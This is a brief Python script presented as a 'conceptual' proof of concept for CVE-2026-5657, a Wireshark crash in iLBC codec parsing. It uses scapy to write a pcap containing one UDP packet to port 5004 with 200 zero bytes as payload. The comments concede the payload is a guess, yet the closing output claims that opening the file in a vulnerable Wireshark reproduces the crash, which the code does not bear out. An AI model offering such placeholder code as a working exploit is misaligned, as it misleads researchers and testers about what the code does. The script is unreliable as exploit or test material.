The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Conceptual PoC for CVE-2026-5657
# This script generates a pcap file containing a malformed packet targeting the iLBC codec.
# Note: The specific malformed payload structure to trigger the crash depends on the bug details.
from scapy.all import *
import sys
def generate_poc(filename):
# Craft a basic UDP packet (RTP often uses UDP)
# iLBC is a codec often used in VoIP/RTP
ip = IP(dst="127.0.0.1")
udp = UDP(sport=12345, dport=5004)
# Simulate a malformed payload. Real exploit would adjust specific bytes.
# Assuming a crash triggered by length or specific pattern.
malformed_payload = b"\x00" * 200
pkt = ip/udp/Raw(load=malformed_payload)
wrpcap(filename, [pkt])
print(f"[+] PoC file generated: {filename}")
print(f"[+] Open this file with vulnerable Wireshark to reproduce the crash.")
if __name__ == "__main__":
generate_poc("cve_2026_5657_poc.pcap")